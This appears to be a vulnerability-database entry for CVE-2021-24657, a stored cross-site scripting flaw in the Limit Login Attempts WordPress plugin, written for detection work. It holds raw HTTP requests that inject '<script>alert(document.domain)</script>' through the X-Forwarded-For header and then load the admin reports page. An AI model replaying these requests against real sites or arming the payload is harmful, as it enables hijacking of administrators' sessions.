🔙 목록으로 돌아가기

CVE-2021-24657: Limit Login Attempts WordPress - Stored Cross-site Scripting

TitleLimit Login Attempts WordPress - Stored Cross-site Scripting
Authortheamanrawat
SeverityMedium
ImpactUnauthenticated attackers can execute arbitrary scripts in admin browsers, potentially leading to session hijacking or defacement.
RemediationUpdate to version 4.0.50 or later.
CVSS Score6.1
EPSS Score0.01315
CVE IDCVE-2021-24657
CWE IDCWE-79
Tags cve cve2021 wordpress wp wp-plugin miniorange-limit-login-attempts xss authenticated

🔍 Vulnerability Description

Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=ft2qKO&pwd=wtIbYP&wp-submit=Log+In
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: gMSnei<script>alert(document.domain)</script>
Accept-Encoding: gzip

log=gMSnei&pwd=gMSnei&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=reports HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24657.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24657.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A